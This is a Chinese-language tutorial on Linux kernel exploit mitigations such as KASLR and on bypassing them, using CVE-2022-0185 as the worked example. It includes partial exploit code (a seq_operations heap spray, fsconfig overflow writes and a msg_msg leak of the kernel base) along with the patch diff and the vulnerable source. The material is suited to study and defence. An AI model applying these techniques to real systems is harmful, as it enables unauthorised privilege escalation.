内核是操作系统的核心部分。内核负责管理计算机的硬件资源,并实现操作系统的基本功能。内核是操作系统中最重要的部分,它是操作系统与硬件之间的桥梁。内核可以被看作是操作系统的“心脏”,负责控制和管理计算机系统的所有硬件和软件资源。不同的操作系统有不同的内核,比如linux操作系统有Linux内核,Linux内核是Linux操作系统的核心部分,它是由C语言编写的程序,并且是一个开源软件,它的源代码可以自由下载和修改。Linux内核提供了多种功能,包括内存管理、进程管理、文件系统支持、网络通信等,Linux内核的设计具有高度的可扩展性和灵活性,可以应对各种应用场景和硬件平台。
有代码就有漏洞,内核也不例外。内核漏洞是操作系统内核中的存在的安全漏洞,这些漏洞可能导致系统被恶意软件入侵或攻击者控制,并可能造成数据泄露、系统瘫痪等严重后果。例如:攻击者可能会利用内核漏洞来绕过系统安全保护,提升权限,从而获取用户敏感信息,或者在系统中安装恶意软件,损坏系统数据或瘫痪整个系统。著名漏洞“dirty cow”(脏牛漏洞)影响之广,从2007年到2018年之间的所有发行版都受其影响,让全世界数百万台设备暴露在威胁当中。
如图为近10年漏洞报送数量,表中可知Linux内核漏洞数量一直处于高位,基本每年在100以上,尤其2017年漏洞数量最多,达到449个之多。
因此及时发现,修复内核漏洞非常重要。通常,操作系统厂商会定期发布补丁来修复内核漏洞。同时为了减小漏洞发现造成的危害,Linux内核采用了多种技术来提高漏洞利用的难度来保护系统安全。例如:SMEP保护、SMAP保护、KASLR保护、KPTI保护。但即使是这么多保护,也无法安全保护内核,漏洞可以轻松绕过这些保护,达到提权效果。下面介绍这些年出现Linux内核保护技术以及针对这些保护技术的绕过方法。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露内核基地址:堆喷大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,从而泄露基地址。
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
char tiny_evil[] = "DDDDDDx60x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"x00",tiny_evil,0);
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lxn", kbase);
泄露出基地址后,可根据偏移计算任何内核函数地址达到提权。
linux内核(2005年)开始支持KASLR。KASLR(Kernel Address Space Layout Randomization)是一种用于保护操作系统内核的安全技术。它通过在系统启动时随机化内核地址空间的布局来防止攻击者确定内核中的精确地址。即使攻击者知道了一些内核代码的位置,也无法精确定位内核中的其他代码和数据,从而绕过系统安全保护。在实现时主要通过改变原先固定的内存布局来提升内核安全性,因此在代码实现过程中,kaslr与内存功能存在比较强的耦合关系。
随机化公式: 函数基地址 +随机值=内存运行地址
比如先查看 entry_SYSCALL_64函数的基地址为 0xffffffff82000000
它运行时的内存地址为0xffffffff8fa00000
将运行地址减函数基地址得到随机值变量0xda00000(0xffffffff8fa00000-0xffffffff82000000=0xda00000) ,这0xda0000就是随机值,每次系统启动的时候都会发生变化。
在有kaslr保护的情况下,漏洞触发要跳转到指定的函数位置时,由于随机值的存在,无法确定函数在内存中的具体位置,如果要利用就需要预先知道目标函数地址以及shellcode存放在内存中的地址,这使得漏洞利用比较困难。
针对这种保护技术,目前比较常规的绕过方法是利用漏洞泄露出内核中某些结构体,通过上面计算方法算出内核基地址,有了基地址后就可以计算想要的函数地址了。
如CVE-2022-0185,是一个提权漏洞,漏洞成因是 len > PAGE-2-size 整数溢出导致判断错误,后面继续拷贝造成堆溢出。
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size) //这里存在整数溢出,后面的拷贝会造成堆溢出
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
函数调用路径:_x64_sys_fsconfig() ---> vfs_fsconfig_locked()-->vfs_parse_fs_param()-->legacy_parse_param(),vfs_parse_fs_param()中的函数指针定义在legacy_fs_context_ops函数表中,在alloc_fs_context()函数中完成filesystem context结构的分配和初始化。
在legacy_parse_param 函数:linux5.11/fs/fs_context.c: legacy_parse_param
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //--此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,存在越界
size += param->size;
}
ctx->legacy_data[size] = '